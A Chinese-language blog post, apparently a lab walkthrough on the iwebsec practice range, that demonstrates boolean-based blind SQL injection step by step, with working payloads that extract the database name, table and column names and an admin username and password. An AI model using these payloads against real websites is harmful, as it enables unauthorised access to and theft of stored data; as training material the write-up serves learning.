首页 网络安全

布尔型盲注

页面在执行sql语句后,只会显示两种结果,这时可通过构造逻辑表达式的sql语句来判断数据的具体内容。

QQ截图20201110133956.png
使用1=2判断注入类型,发现只有对于错,没有额外显示,初步判定需要盲注

使用and (length(database()))=7 判定数据库的长度为7位,可使用><和=自由变化。

使用以下查询语句可查询数据库名称,使用ascii进行匹配,可通过burf进行自动化匹配,从而得知数据库名称

 and if(ascii(substring((select database()),1,1))=变量,1,0)

QQ截图20201110135600.png
QQ截图20201110135651.png


Ascii值依次为:105,119,101,98,115,101,99 ,转换为字符串为:iwebsec

通过以下语句查询数据表的个数

and (select count(table_name) from information_schema.tables where table_schema=database())=4

查出数据表有4个

and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=4

第一个数据表长度为4

and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),变量,1))=115

第一个数据表的第一位ascii为115,通过burf匹配ascii,以此类推,得出第一个数据表名称为sqli

and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),变量,1))=117

第二个数据表的第一位ascii为117,通过burf匹配ascii,以此类推,得出第一个数据表名称为user,limit代表数据库的排序

以此类推可以得出全部的数据表为:sqli,user,users,xss。由此判断users为管理员表

and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1))=8

users表中的第一个列长度为8位

and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 列变量,1),字符变量,1))=ascii值

users表中的第一个列第一位是u,以此类推为username,第二列为password

and (select count(*) from users)=1

users表下有一行数据

and length((select username from users limit 1))= 6

users表中username列下第一行数据为6位

and ascii(substr((select username from users limit 1),变量,1)) = ascii

账号为:orange 同理可得,密码为:mail123mail

至此,盲注结束。biaoqing




文章评论